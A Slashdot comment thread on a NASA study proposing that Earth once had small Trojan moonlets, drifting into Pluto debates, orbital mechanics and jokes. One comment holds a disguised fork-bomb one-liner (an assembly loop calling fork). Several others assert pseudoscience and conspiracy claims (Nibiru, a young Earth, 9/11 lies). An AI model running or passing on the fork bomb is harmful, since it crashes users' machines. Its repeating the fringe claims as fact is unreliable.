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Earth May Once Have Had Multiple Moons
fyc writes "A new study from NASA's Ames Research Center has suggested that the collision of Earth and a Mars-sized object that created the Moon may also have resulted in the creation of tiny moonlets on Earth's Lagrangian points. 'Once captured, the Trojan satellites likely remained in their orbits for up to 100 million years, Lissauer and co-author John Chambers of the Carnegie Institution of Washington say. Then, gravitational tugs from the planets would have triggered changes in the Earth's orbit, ultimately causing the moons to become unmoored and drift away or crash into the Moon or Earth.'" The longest-lasting of such Trojans could have persisted for a billion years. They would have been a few tens of kilometers in diameter and would have appeared in the sky like bright stars.
Haven't you ever seen a HS football team on a schoolbus ?
In Star Wars when Luke looks up at the sky and sees several moons I always wondered.
But this is scientific proof that the Gospels according to George Lucas are the truth.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
there. stupid joke out of the way.
continue.
... was one of those old moonlets paying its last visit to earth. If it had left a Langraigian point it could still have orbited very near earth for a long long time until one small nudge put it on the trajectory for that fateful day.
...until one of them dropped onto the surface and wiped out the dinosaur civilization?
Doesn't sound too far fetched since Earth has Cruithne sharing it's orbit, which in it's own way is a "second moon". On a functional level, not that different from what they are suggesting. I would even take it step futher, there's no reason to even believe any specific natural satellite of Earth originated from our planet or it's creation.
Burn Hollywood Burn
The real headline seems to be:
Post-collision debris from Lunar creation might have persisted a little bit longer than originally thought in these crazy gravitational slots, but no evidence is available to back up this theory, and it sure would be neat-o."
Yay.
FairTax baby!
Meanwhile a new study by me has suggested that reading Slashdot stops time and may also make you hyper-intelligent. Slashdotters would have bigger brains that could be farmed in the future to feed entire villages. Villagers would crack open the skulls with sharp metal straws which would be used to drink the brains out. A strong light then placed in the skull cavity would then shine in the night like bright stars.
RMS isn't proposing legalization of sex with animals or corpses, he is saying that images of such activities shouldn't be illegal. And he is making a pretty logical argument.
Now, what is your point?
Would this make news about Ragnarok dupes?
In the opening scene, didn't it show multiple moons? But this leads to questions such as, what's going to happen to Jupiter's moons? How old are they, how long have they been in orbit? Why hasn't gravity wreaked havoc with them?
before the man in the moon ate it all millions of years ago. The smell of cheese may have lingered for several centuries after that.
Although "Moonlets" is a cute, fuzzy term, I would have much preferred if they'd called them 'mooninites'
-- If you try to fail and succeed, which have you done? - Uli's moose
So, like, many many multiple tides per day, dude?
Gnarly. SURF'S UP AND UP AND UP!
That is, of course, if you believe in such a ridiculous liberal myth.
would have appeared in the sky like bright stars.
Appeared to whom?
Rome taught me patience and assiduous application to detail. Virtues which temper the boldness of great, general views.
No, it's just proof that star wars came out a really long time ago.
I did a math project in university on lagrangian points and read what I could find on the net - as far as I remember, there is a similar theory that our moon was formed in one of the Earth's lagrangian points, and grew bigger with asteroid crashes (or something similar), until it grew so big that the lagrangian points couldn't hold it any more, and it flew into orbit with earth. Anyhow, this is purely speculation, but if you look closely enough into our universe, you might be able to find places where this is happening right now.
Let me see if I have this straight - Pluto is NOT a planet, because it falls beneath some arbitrary threshold for 'planet', but ANY object orbiting a planet is automagically a moon?
I have no problem with the theory, but if objects 'tens of kilometers' across are moons, then Pluto is surely a planet.
And don't call me Shirley.
is it that bad seein a hot chick again? if i see a hot chick walkin down the hall i dont say "repost"
No no - the correct, well known, astronomical nomeclature is "moonlets" ;-)
Btw, Pluto is, of course, a planetlet...
Just ask Tom Cruise. It was the Xenu!
Dude, there are hundreds, if not thousands of Pluto sized planetoids. Pluto was discovered first of those objects, and mistakenly thought to be very unique.
Planets are the huge and few main satellites of the sun. It's a category defined entirely by scarcity. There are only 8. Not 8000. Pluto can't be a planet and the hundreds or thousands of larger objects not be, but the fact that there were thousands of similar objects wasn't discovered until after Pluto was added to the planet list. It's just an act of intellectual honesty to note that Pluto is only unique historically for being seen early. But now we know: It's not a major satellite sufficient to be in the planet category. You call this arbitrary, but it's as unarbitrary as anything could be.
What the hell does this have to do with how big a moon is? Any object orbiting a planet is automatically a satellite, any satellite that is naturally occurring is automatically a moon (by some definitions, anyway). Perhaps you should invest in a good dictionary. They are free on the internet.
Thank goodness we don't have to rely on your inane concepts of 'fairness' in celestial bodies for our language needs.
This "many moons" phenomenon was occasionally seen at my university quite some time in the past. The moons appeared as pale, bifurcated disks in the darkness around the president's residence, often after the end of final exams.
I've calculated my velocity with such exquisite precision that I have no idea where I am.
Maybe it was the moon that killed the dinosaurs!
The biggest difference is the mass ratio's between the satellite and it's parent (this goes for planets as well as moons).
If the mass of the satellites starts to approach the mass of the parent then the system will become unstable. The Moon is by far the largest satellite as a percentage of mass anywhere in the solar system. The Pluto-Charon system beats the Earth and Moon but Pluto was downgraded from a planet. For the earth-moon system, the center of mass for the system is still inside the earth. The Pluto-Charon system the center of mass is roughly 1/3 of the way to Charon. The only reason it is stable is because it is so far away.
If the moon was significantly larger (or there was an additional moon of significant size) they system would become unstable and tend to lose satellites until it WAS stable.
Jupiter's moons are so much lighter that Jupiter has an iron gravitational grip on them. Short of a major external disruption (say getting hit by another moon) all of Jupiter's moons are staying put.
Traveling to the past, of course.
if that were the case, there wouldn't be a k/t boundary layer would there?
"In the game of life, someone always has to lose. To me, if life were fair, that someone would always be Oklahoma." -DKR
not possible. Ignore him.
The earth is only 6008 years old
I think the author may have been the victim of a multiple moon drive by - front and rear passenger seat. Thus the earth has more than one moon - at least according to the author.
This is also suggested in the FAQ section of the book Thiaoouba Prophecy (recommended reading).
WTF are you talking about^W^W smoking?
Genesis 1:32 And God typed
But Earth DOES have a 2nd moon. It is called Anoolios, a dark fragment and has already been documented from Persian folk history.
Just because NASA can't find it, doesn't mean that it doesn't exist!
Don't be apathetic. Procrastinate!
It's a space station...
Beast Wars was right all along. And that second moon they refer too was nothing more than a giant weapon in the sky operated by the aliens that ran experiments on this planet. and it didn't crash into the moon, it was destroyed by Optimus Primal. seesh can't our scientists get their facts straight anymore...
Quite true. Any "moonlet" if it had been created by the Earth/Thea collision would have bee composed of roughly the same thing as Earth is. The highly increased iridium is a signature of an asteroid and not a terrestrial rock.
"People who think they know everything are very annoying to those of us who do."-Mark Twain
Why do you say that?
Nothing to say that these "moonlets" weren't made of the same stuff of the KT boundary. I forget the name of the particular rare mineral/ore/whatever that defines the KT boundary, but is there a large amount of it on the moon? If there is, wouldn't it then stand to reason that these moonlets would have been made of similar materials? And if they were made of similar materials, would it not then be possible for one of them to have caused the impact event that created the KT boundary?
Of course, IANAA (I am not an Astronomer) so I really have no clue. But it is a compelling idea, don't you think?
Official Heretic from the "Church of Global Warming". Proven right thanks to whistle blowers. AGW = Flat Earth Theory
Aaand MBGMorden appears to have answered my question for me. Never mind then. :)
Official Heretic from the "Church of Global Warming". Proven right thanks to whistle blowers. AGW = Flat Earth Theory
That could be.... or it could have been one of the many asteroids who's orbits cross earth orbit. You know, like all the other asteroids that have hit Earth, and the one that's going to *very* nearly hit us in a few years?
Really, I don't see any reason that a former Lagrangian moon is nearly as likely for a given impact then another asteroid.
A good time was not had by all :)
Cheddar, Gouda, Parmesan etc..
The swiss got to the other moons before NASA and mined them clean.
I stand by my theory.
We owe you and Michael Savage a debt we can never repay. Keep up the good work!
Appended to the end of comments you post. 120 chars.
It looks like some clueless person with mod points thought you were being serious.
They discovered Cruithne, orbiting the Earth in a weird 770 year orbit, back around 1999.
Lets see... why pluto isn't a planet.
Back to the start! The first planets were known for being stars that moved in relation to all the other stars. So only the visible planets were known and named (mercury, venus, mars, jupiter, saturn). Then came telescopes, and uranus was eventually spotted. Then came mathmatics advanced enough to calculate tiny orbital variations, and to explain them all, scientists fround they needed another large body... so they searched about where they expected one to be and found neptune. But it was slightly wrong, in size and placement, so they searched again... and found pluto. That was the end of it for a while.
But as telescopes grew more advanced, the kuiper belt was found. This belt outside the orbit of pluto contains hundreds of objects as large and larger then pluto. The definition of planet hadn't really been an issue before... it was just "big thing around going around the sun." But now the question had to come... exactly *how* big. Before it was pretty obvious... there were asteroids that were kilometers across, and planets that were hundreds of thousands of kilometers across. But the kuiper belt contained everything in between.
And so after endless arguing, the IAU finally met to decide the definition. They could have said "mercury, venus, earth, mars, jupiter, saturn, uranus, neptue, pluto" but that would just delay the issue until we could see rocky planets around other stars, really. And so they decided that a planet was "a body that orbits the Sun, is massive enough to be rounded by its own gravity, and has cleared its neighbouring region of planetesimals." And it turns out pluto doesn't qualify. Its orbit is odd and isn't cleared of planetesimals.
Let me see if I have this straight - Pluto is NOT a planet, because it falls beneath some arbitrary threshold for 'planet', but ANY object orbiting a planet is automagically a moon?
Apparentely so - the 63 Moons of Jupiter include the 1 km in diameter 2003 J 9.
I find it odd that people can't cope with there being hundreds of planets, and need some arbitrary distinction between "planet" and "natural satellite of the Sun", but 240 moons in the solar system is considered fine.
It's also strange that a body orbiting a dwarf planet is still considered a moon, and not a "dwarf moon"...
234) When traveling back in time to when the Earth had many moons, using the phrase "not in many moons" to describe the passage of time will only get you blank stares and instantly label you as an outsider (assuming you've managed to blend in with the local environment otherwise).
I would mod you up for insighful but I already posted something I thought was funny and got modded down. Maybe they did not read the mod guidelines, modding up is better than modding down unless is is obvious crap.
This is somewhat in line with what Zecharia Sitchen has been translating from Sumerian tablets for decades (but a bit off, surprise surprise). Check out his first major book in a series on the subject - 'The Twelfth Planet' - http://www.amazon.com/Twelfth-Planet-Book-Earth-Chronicles/dp/0061379131
The books read a bit like scripture, so it's not exactly an easy read but it is fascinating nonetheless. I stumbled onto them as reference in another book called 'Everything You Know is Wrong' by Lloyd Pye. If this stuff interests you I highly recommend you see what both of these guys have to say about it all. It all ties into Intervention Theory, as I understand and accept it, based loosely on what Pye has summarized, much of that basis being on what Sitchen has translated. His site - www.lloydpye.com - is very informative. There are all kinds of easily accessible slide shows presenting the information in an easy to understand way. I'd say his writings are a lot more accessible, I'm not great at finishing books and that's one I couldn't put down.
I've heard before that our moon seems to be of a more ancient origin than our planet. According to the Sumerian tablets, and this was the first civilization on Earth we are aware of that had a written language - cuneiform, and via Sitchen's translations of their tablets and cylinder seals: a rogue planet, which they called Nibiru, came into our system billions of years ago ago and it's moon collided with what they called Tiamat, our planet's predecessor. Nibiru was pulled into the orbit of our sun and has remained on a large elliptical orbit of it, ever since. There were subsequent collisions, that I can't recall the order of exactly, and Tiamat was broken when Nibiru, itself, eventually collided with it. The fractured pieces resulted in comets and an asteroid belt and the remaining part of the planet, still solidifying, became Earth and ended up with an alien moon. Our planet is truely an anomaly in it's geological form (as far as we know), it shows the scars of that ancient collision. Another interesting tidbit, the Sumerians also accurately described Uranus and Neptune as gassy and blue, and as twins. We discovered them in the 20th century and some people have realized they were right about them (this has some implications) but the Sumerian writings still reside inthe myth pile, if you will, as far as mainstream science goes.
If you you've read up on some of the ideas as to what the pending end of this age really means, physically, to the planet, you'll find one of the larger schools of thought on it involves the so-called Planet-X and the possible effects on Earth that a large planet passing nearby it could have. Sitchen says the Sumerians estimated Nibiru's orbit to be about 3,600 of our years. That is all pretty controversial stuff, it's certainly nicer to think we'll just be seeing the stars' constellations will simply be in a different place. Regardless of whether the end of age should be suspected as catastrophic, there is evidence that suggests there is a cycle of catastrophic events on this planet. I do not desire to be the bearer of bad news or thought to be a doomsayer, I just find it relevant, worth discussing, and worth pointing at for other people who might be interested. If you read up on the Sumerian 'Mythology' per Mr. Sitchen, you'll see no shortage of similarities to what it says and what the bible says, and it may help you understand better how things have come to be as they are, with our current dogma of science and religion (not to say that they say the same thing exactly, they just both seem to speak of the same events and some of the same characters, be it with different, yet often similar names). You can get a good and brief summary on Mr. Pye's site, though it will no doubt be a lot to process and that's always hard when it's hard to believe what you're trying to process in the first place. I learned about it all the slow and easy way and
I say as soon as you discover a thousand earth sized objects orbiting the sun we can CERTAINLY talk about reclasifying the Earth or redefining planet.
HOWEVER...all the theories suggest that an earth sized object will be EXTREMLY unlikley in the Kupier belt or farther out UNLESS it was a loose planet that the sun captured.
You say we will inevitably find an earth sized object...you may be right, but finding one or two won't change anything....when you find HUNDREDS we will chat.
Would it be moving quickly enough to have the kinetic energy required to do the kind of damage that was done? Given that it was stationary, it wouldn't be hitting earth at more then terminal velocity, right?
Stop the brainwash
Given that it's astronomy, I don't think they're really being consistent with the term "dwarf". A dwarf star is still a star, but a dwarf planet is not a planet.
I actually accept the arguments that Pluto isn't a planet. The problem is that defining a planet is a tough thing, and the oddity I noted above seems to be part of an odd compromise that shouldn't have been made.
Actually there were uncountable numbers of "moons" right after the impact. These were really to small be even be called "moons" it was more like a cloud or a dense set of rings. Much of the young Earth was vaporized. Then over time this vapor and dust condensed into biger clumps and these into bigger ones unitl now there are just two clumps left The earth and it's present moon.
I think what this article adds is detail about that period when there were only a few clumps.
I think logically we knew that if the Erach once had uncountable trillions of specs orbiting and now has only one big one there mut have been a time when there were 1,000 and a time when there were four.
Pluto is not a plent because plaets are defined as soething which "dominates" the area in which it orbits. Pluto does not do this. It shares it's space with many, many "peers"
Mars is a planet because it is by a huge margin the biggest thing in that part of the solar system. The same can not be said of Pluto.
A "mmon" is simply any natural object capured in orbit around a planet.
Pluto thought that it was all about the performance and the art. He/She/It (which is it by the way? probably depends on your country) didn't realize that public perception meant more than quality of ones work. In all seriousness I think astronomers lost sight of the true issue. Who is to say that someday we won't discover a star with only a handful of Pluto sized objects and no others orbiting it, will we then declare this star system to be planetless? Considering that such an object could probably be set up to contain a reasonabally sized community it seems a little silly to refuse it the designation of being a planet... They totally should have gone with a classification scheme; eg. something like the biologists have developed for plants and animals.
stationary objects by definition cannot orbit. To obtain Low Earth Orbit, you need to be travelling at approximately 17,448 mph. To understand orbits, have a look at the wikipedia image demonstrating orbits and velocities. http://en.wikipedia.org/wiki/Image:Newton_Cannon.svg
The key question is "stationary with regard to what?".
In the case of the Lagrangian points, the answer is "stationary in regard to the Earth/Moon System", NOT "stationary in regard to a point on the Earth's surface".
(Also, "just terminal velocity" with regard to the distance of either a Lagrangian point or a geosynchronous orbit would still be nothing to sneeze at, and given the "tens of kilometers across", the force of impact would be far from trivial.)
Sorry, My Mod points expired yesterday.
And a harsh mistress.
Confucius say, "Find worm in apple - bad. Find half a worm - worse."
The reason that there's no literature about the moon pre-1950 is because They want everyone to forget that the Nazi Saucers _stole_ the moon in '40.
That's why turning off your lights was recommended during the Blitz of London -- there was no moonlight for the Luftwaffe to find their targets.
That's part of Yalta -- The Russians were allowed to seize Berlin, while the Americans were allowed to extract the moon from beneath Interlaken.
That's why the footage of the moon landing convinces believers and maddens skeptics -- because it WAS filmed on a soundstage...ON THE MOON.
"Greatest Generation"? I say "Great Big Liars."
Populus vult decipi, ergo decipiatur...
"Force shits upon Reason's back." - Poor Richard's Almanac
---- Don't lick something unless you really mean it.
In a number of globally-scattered locations, there is a narrow peak of concentration of iridium (element, atomic number 77, a platinum group metal) which is approximately coincident with the Cretaceous-Tertiary boundary. However this does not DEFINE the position of the "K/T boundary" - that is done by fossil content, and more specifically by the lowest position of certain marine microfossils and the highest position of others. (This is exactly analogous to the popular "dinosaurs before, mammals after" understanding of the K/T boundary, but more precise as you can get hundreds of microfossils in each gram of sampled rock while you don't get many dinosaurs fossils per gigagram of rock.)
I can't, off the top of my head, quote the exact micropalaeontological definition of what the K/T boundary is - IANA-micropalaeontologist ; however I do know precisely who to ask (if you want a 15,000 word answer) because I do have to work with such people every month or so. IAAG (I Am A Geologist).
Though less-reported by the popular press, there is a growing body of evidence that the "Alvarez" event (the iridium concentration-spike reported by Alvarez pere-et-fils in the early 1980s) actually pre-dates the K/T boundary (defined palaeontologically as above), perhaps by as much as 300,000 years. This is still a controversial area, with active research continuing ; I don't follow the debate too closely, because in my area of competence the K/T boundary is generally uninteresting. If I go back to working on the redevelopment of the Maureen field (which is well-known to be partly hosted in Maastrichtian/Danian sediments, it might be of some interest.
Work a dozen-or-so years ago on computer simulations of the moon-forming "Giant Impact" produced multiple moonlets in around 1/3 of simulation runs. Look for papers on Arxiv by Robin Canup and various collaborators (from my memory - Hal Levison, from SWRI in Boulder, USA). Around the same time there were several "deep searches" for material near the Earth/Moon/Sun's Lagrangian points, but I've forgotten the name of the Canadian (?) astronomer who reported negative results. The same researchers found the oddly-orbiting Cruithne as part of this programme.
Birds are not dinosaur descendants;birds are dinosaurs, for all useful meanings of "birds", "are" and "dinosaurs"
It's a category defined entirely by scarcity. There are only 8. Not 8000.
You completely miss his point. The question is why we are so keen to define planet in terms of scarcity, but not when it comes to moons?
It's just an act of intellectual honesty to note that Pluto is only unique historically for being seen early.
It's a good thing no one suggested that, then.
Any object orbiting a planet is automatically a satellite, any satellite that is naturally occurring is automatically a moon (by some definitions, anyway).
Yes, it's the "some" definitions that is being debated here.
Perhaps you should invest in a good dictionary.
Perhaps you should too - this is a discussion forum where people may debate certain definitions. And what we are debating here is how planet and moon are or should be defined.
So your argument is that a moon should be defined this way, because that's how the dictionary defines it? That's a circular argument.
FYI, the definition of a planet is set by the IAU, not by the dictionary writers!
Thank goodness we don't have to rely on your inane concepts of 'fairness' in celestial bodies for our language needs.
Another straw man. Who said anything about "fairness"?
Apologies for the off-topic comment, but I have to comment.
he is saying that images of such activities shouldn't be illegal. And he is making a pretty logical argument.
Agreed - in fact, this law (which was covered recently on Slashdot, with most comments objecting to the plans) covers entirely staged acts or fictional images, i.e., someone play-acting.
I'm amused that RMS is seemingly most concerned about corpses (although he makes a good point about that bit of the law); the problem with this law is that it also criminalises acts (even staged acts) between consenting adults (as RMS notes, "Never mind that in making movies of violence, typically nobody is actually hurt").
The OP may have been a troll, but I'm glad to see the link to what RMS has to say on this issue.
This shiny new theory leaves me with some scepticism : remember the one Mesopotamians used to hold, around 3.5 millenia before some bearded man was nailed to a cross ?
... (which strangely translates as something like Gods from the Sky) ... they didn't have elaborate conceptions like the-weather-balloon-crashed and UFO-denial theories back then ...
... (WTC7 ?)
They even claimed the Anunaki descended from there
For the geographically-challenged around (that is, northern americans, with the exception of anyone from Canada), Mesopotamia was at a place currently favored by the Bush administration for placing Vietnam replicas under now-transparent lies, such as the 911 one